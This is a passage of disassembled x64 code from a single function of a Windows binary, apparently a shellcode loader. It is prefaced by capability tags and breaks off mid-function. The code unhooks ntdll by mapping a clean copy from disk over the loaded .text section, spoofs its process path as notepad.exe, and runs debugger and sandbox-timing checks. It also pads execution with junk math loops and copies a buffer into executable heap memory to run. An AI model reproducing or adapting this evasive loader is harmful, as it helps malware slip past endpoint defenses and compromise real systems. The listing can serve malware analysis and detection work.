Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x928
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x890], xmm6
mov dword [rbp + 0x8d0], ecx
mov qword [rbp + 0x8d8], rdx
call fcn.140002d50
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x800], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7f8], rax
mov dword [rbp + 0x7f4], 0
mov dword [rbp + 0x884], 0
mov ecx, 0x26ec
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x88c], 0
jmp 0x1400015dc
mov dword [rbp + 0x888], 0
jmp 0x1400015c8
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x88c]
movsxd rdx, edx
imul rcx, rdx, 0xbc
mov rdx, qword [rbp + 0x7e8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x888]
cdqe
mov dword [r8 + rax*4], edx
mov eax, dword [rbp + 0x88c]
cdqe
imul rdx, rax, 0xbc
mov rax, qword [rbp + 0x7e8]
add rdx, rax
mov eax, dword [rbp + 0x888]
cdqe
mov eax, dword [rdx + rax*4]
test eax, eax
jne 0x1400015c1
add dword [rbp + 0x884], 1
add dword [rbp + 0x888], 1
cmp dword [rbp + 0x888], 0x2e
jle 0x140001547
add dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x34
jle 0x140001538
cmp dword [rbp + 0x884], 0x4dd
jne 0x1400015ff
mov dword [rbp + 0x7f4], 1
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x880], 0xffffffff
mov ecx, 0x8d8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e0], rax
add dword [rbp + 0x880], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x880]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
movsd xmm1, qword [0x14000c670]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x880]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x880]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x7e0]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x880], 0x119
jle 0x140001629
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
jne 0x140001746
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x878], rax
cmp qword [rbp + 0x878], 0
je 0x140001c9f
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x610]
mov rax, qword [rbp + 0x7d8]
mov r10, qword [rbp + 0x878]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x610]
mov qword [rbp + 0x7d0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rdx
mov qword [rbp + 0x7a8], rax
mov word [rbp + 0x876], 0
jmp 0x140001c87
mov dword [rbp + 0x7a4], 1
mov ecx, 0x524
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov qword [rbp + 0x868], 2
jmp 0x1400018cf
mov rax, qword [rbp + 0x868]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x868], 1
cmp qword [rbp + 0x868], 0x148
jbe 0x1400018a8
mov qword [rbp + 0x868], 2
jmp 0x140001966
mov rax, qword [rbp + 0x868]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x14000195e
mov rax, qword [rbp + 0x868]
mov qword [rbp + 0x860], rax
jmp 0x140001947
mov rax, qword [rbp + 0x868]
imul rax, qword [rbp + 0x860]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x860], 1
mov rax, qword [rbp + 0x868]
imul rax, qword [rbp + 0x860]
cmp rax, 0x148
jbe 0x140001918
add qword [rbp + 0x868], 1
cmp qword [rbp + 0x868], 0x148
jbe 0x1400018e9
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7a8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x876]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001c76
mov dword [rbp + 0x5d4], 0
mov dword [rbp + 0x858], 0
mov dword [rbp + 0x78c], 0
mov ecx, 0x720
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
mov dword [rbp + 0x85c], 0
jmp 0x140001a97
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x85c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x780]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x85c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x780]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x858], eax
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x1c7
jle 0x140001a1b
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d4]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x854], 0xf0
mov dword [rbp + 0x850], 0xdc
mov dword [rbp + 0x84c], 0x2b2
mov dword [rbp + 0x848], 0x1e0
jmp 0x140001be0
mov eax, dword [rbp + 0x84c]
cmp eax, dword [rbp + 0x848]
jle 0x140001b7d
mov eax, dword [rbp + 0x84c]
cmp eax, dword [rbp + 0x854]
jle 0x140001b5d
mov eax, dword [rbp + 0x84c]
cmp eax, dword [rbp + 0x850]
jle 0x140001b54
sub dword [rbp + 0x84c], 1
jmp 0x140001bc9
sub dword [rbp + 0x850], 1
jmp 0x140001bc9
mov eax, dword [rbp + 0x854]
cmp eax, dword [rbp + 0x850]
jle 0x140001b74
sub dword [rbp + 0x854], 1
jmp 0x140001bc9
sub dword [rbp + 0x850], 1
jmp 0x140001bc9
mov eax, dword [rbp + 0x848]
cmp eax, dword [rbp + 0x854]
jle 0x140001bab
mov eax, dword [rbp + 0x848]
cmp eax, dword [rbp + 0x850]
jle 0x140001ba2
sub dword [rbp + 0x848], 1
jmp 0x140001bc9
sub dword [rbp + 0x850], 1
jmp 0x140001bc9
mov eax, dword [rbp + 0x854]
cmp eax, dword [rbp + 0x850]
jle 0x140001bc2
sub dword [rbp + 0x854], 1
jmp 0x140001bc9
sub dword [rbp + 0x850], 1
mov eax, dword [rbp + 0x84c]
mov edx, eax
lea rax, [0x14000c05a]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x84c], 0
jg 0x140001b21
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5d4]
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x790]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7d0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5d4]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x876]
add eax, 1
mov word [rbp + 0x876], ax
mov rax, qword [rbp + 0x7a8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x876], ax
jb 0x140001880
pxor xmm0, xmm0
movss dword [rbp + 0x840], xmm0
mov dword [rbp + 0x844], 0
jmp 0x140001d30
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x844]
movsd xmm0, qword [0x14000c678]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movups xmm1, xmm0
mov eax, dword [0x14000c680]
movd xmm0, eax
call fcn.140003d40
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x844]
addsd xmm0, xmm0
movsd xmm2, qword [0x14000c678]
subsd xmm0, xmm2
divsd xmm1, xmm0
pxor xmm0, xmm0
cvtss2sd xmm0, dword [rbp + 0x840]
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x840], xmm0
add dword [rbp + 0x844], 1
cmp dword [rbp + 0x844], 0x292
jle 0x140001cb7
movss xmm1, dword [rbp + 0x840]
movss xmm0, dword [0x14000c684]
mulss xmm0, xmm1
movss dword [rbp + 0x840], xmm0
mov dword [rbp + 0x5dc], 0
mov rax, qword [rbp + 0x800]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
lea rax, [rbp + 0x5dc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x778]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5e8]
add rax, 0x3c
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x770]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x5d8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x768], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5d8]
mov r8, qword [rbp + 0x768]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5d8]
cmp eax, 1
je 0x140002c7a
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x760], rax
cmp qword [rbp + 0x760], 0
je 0x140002c7a
mov rax, qword [rbp + 0x760]
mov edx, 0x54d
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x75c], eax
mov qword [rbp + 0x750], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x748]
mov r9d, 0x3000
mov r8d, 0x454
mov edx, 0
call rax
mov qword [rbp + 0x750], rax
cmp qword [rbp + 0x750], 0
je 0x140002c7a
mov dword [rbp + 0x744], 0x30c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x734], eax
mov eax, dword [rbp + 0x744]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x738]
call rax
mov dword [rbp + 0x730], eax
mov eax, dword [rbp + 0x730]
sub eax, dword [rbp + 0x734]
cmp eax, 0x2da
jbe 0x140002c7a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x728], rax
cmp qword [rbp + 0x728], 0
je 0x140002012
mov rax, qword [rbp + 0x728]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
mov ecx, 0
call rax
mov dword [rbp + 0x83c], eax
cmp dword [rbp + 0x83c], 0xffffffff
je 0x140002c7a
mov qword [rbp + 0x718], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x710], rax
mov rax, qword [rbp + 0x710]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1338280
mov ecx, 0
call rax
mov qword [rbp + 0x718], rax
cmp qword [rbp + 0x718], 0
je 0x140002c7a
mov rax, qword [rbp + 0x718]
mov edx, 0x1338280
mov rcx, rax
call fcn.14000a060
mov rax, qword [rbp + 0x718]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x70c], 0x36c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f4], eax
mov eax, dword [rbp + 0x70c]
mov r8, qword [rbp + 0x700]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6f8]
call rax
mov dword [rbp + 0x6f0], eax
mov eax, dword [rbp + 0x6f0]
sub eax, dword [rbp + 0x6f4]
cmp eax, 0x33a
jbe 0x140002c7a
mov qword [rbp + 0x6e8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6e0]
mov r9d, 0x3000
mov r8d, 0x3ca
mov edx, 0
call rax
mov qword [rbp + 0x6e8], rax
cmp qword [rbp + 0x6e8], 0
je 0x140002c7a
mov dword [rbp + 0x6dc], 0x242
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c4], eax
mov eax, dword [rbp + 0x6dc]
mov r8, qword [rbp + 0x6d0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6c8]
call rax
mov dword [rbp + 0x6c0], eax
mov eax, dword [rbp + 0x6c0]
sub eax, dword [rbp + 0x6c4]
cmp eax, 0x210
jbe 0x140002c7a
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
call rax
mov dword [rbp + 0x6b4], eax
mov ecx, 0x3a1
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x6b8]
call rax
mov dword [rbp + 0x6b0], eax
mov eax, dword [rbp + 0x6b0]
sub eax, dword [rbp + 0x6b4]
cmp eax, 0x36f
jbe 0x140002c7a
lea rax, [rbp + 0xb0]
lea rdx, [0x14000c148]
mov ecx, 0xa4
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x7f8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x7f8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a8]
mov r8d, 0
mov edx, 0x520
mov ecx, 0x40000
call rax
mov qword [rbp + 0x698], rax
mov dword [rbp + 0x838], 0x136
mov dword [rbp + 0x834], 0xdc
mov dword [rbp + 0x830], 0x24e
mov dword [rbp + 0x82c], 0x1a4
jmp 0x14000249a
mov eax, dword [rbp + 0x830]
cmp eax, dword [rbp + 0x82c]
jle 0x140002437
mov eax, dword [rbp + 0x830]
cmp eax, dword [rbp + 0x838]
jle 0x140002417
mov eax, dword [rbp + 0x830]
cmp eax, dword [rbp + 0x834]
jle 0x14000240e
sub dword [rbp + 0x830], 1
jmp 0x140002483
sub dword [rbp + 0x834], 1
jmp 0x140002483
mov eax, dword [rbp + 0x838]
cmp eax, dword [rbp + 0x834]
jle 0x14000242e
sub dword [rbp + 0x838], 1
jmp 0x140002483
sub dword [rbp + 0x834], 1
jmp 0x140002483
mov eax, dword [rbp + 0x82c]
cmp eax, dword [rbp + 0x838]
jle 0x140002465
mov eax, dword [rbp + 0x82c]
cmp eax, dword [rbp + 0x834]
jle 0x14000245c
sub dword [rbp + 0x82c], 1
jmp 0x140002483
sub dword [rbp + 0x834], 1
jmp 0x140002483
mov eax, dword [rbp + 0x838]
cmp eax, dword [rbp + 0x834]
jle 0x14000247c
sub dword [rbp + 0x838], 1
jmp 0x140002483
sub dword [rbp + 0x834], 1
mov eax, dword [rbp + 0x830]
mov edx, eax
lea rax, [0x14000c05a]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x830], 0
jg 0x1400023db
mov rax, qword [rbp + 0x698]
mov r9, qword [rbp + 0x6a0]
mov r8d, 0x520
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x690], rax
mov ecx, 0x62c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov dword [rbp + 0x824], 0
mov dword [rbp + 0x820], 0
mov dword [rbp + 0x828], 0
jmp 0x14000254a
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x828]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x688]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x18a
jle 0x1400024fe
mov dword [rbp + 0x828], 0
jmp 0x14000258b
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x824], eax
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x18a
jle 0x140002562
mov dword [rbp + 0x828], 0
jmp 0x140002613
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x820]
mov eax, dword [rbp + 0x828]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x62c]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x14000c688]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004060
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x820], eax
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x18a
jle 0x1400025a3
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x820]
movss xmm1, dword [0x14000c690]
divss xmm0, xmm1
movss dword [rbp + 0x684], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x684]
movq rax, xmm4
movq xmm0, rax
call fcn.140003d60
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x680], xmm0
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x800]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x678], rax
lea rdx, [rbp + 0xb0]
mov rax, qword [rbp + 0x690]
mov r9, qword [rbp + 0x678]
mov r8d, 0x520
mov rcx, rax
call r9
mov dword [rbp + 0x81c], 0
mov dword [rbp + 0x818], 0
mov dword [rbp + 0x814], 0
movabs rax, 0xbcdd01ae817f7801
movabs rdx, 0xd38dd176c5eb496d
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xc9f4eef38a17db83
movabs rdx, 0xfd576d1142c120a4
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x50305bba27566e78
movabs rdx, 0x9953e0ffdc5fff5
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x5d98ce77a21b90a0
movabs rdx, 0xbf66a2d9f8e7d9da
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x6f22fcddc22a7f10
movabs rdx, 0x6bd7d56f9e3305c8
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
mov dword [rbp + 0x9f], 0xce026b
movabs rax, 0x3f61e36a6c02d5a0
movabs rdx, 0x591f497a4a1ff752
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xa51c5ee4e34e2ec8
movabs rdx, 0x557092ee425bb3a1
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov dword [rbp - 0x21], 0xda7555
jmp 0x140002a93
cmp dword [rbp + 0x818], 0x21
jne 0x140002a5d
mov dword [rbp + 0x64c], 0
mov ecx, 0x4c00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x640], rax
mov ecx, 0x4c00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov ecx, 0x4c00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov dword [rbp + 0x810], 0
jmp 0x140002900
mov dword [rbp + 0x80c], 0
jmp 0x1400028ec
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x640]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x80c]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x638]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x80c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x80c], 1
cmp dword [rbp + 0x80c], 0x4b
jle 0x140002823
add dword [rbp + 0x810], 1
cmp dword [rbp + 0x810], 0x3f
jle 0x140002814
mov dword [rbp + 0x810], 0
jmp 0x1400029ef
mov dword [rbp + 0x80c], 0
jmp 0x1400029db
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x640]
add rdx, rax
mov eax, dword [rbp + 0x80c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x638]
add rdx, rax
mov eax, dword [rbp + 0x80c]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x810]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x630]
add rdx, rax
divss xmm0, xmm1
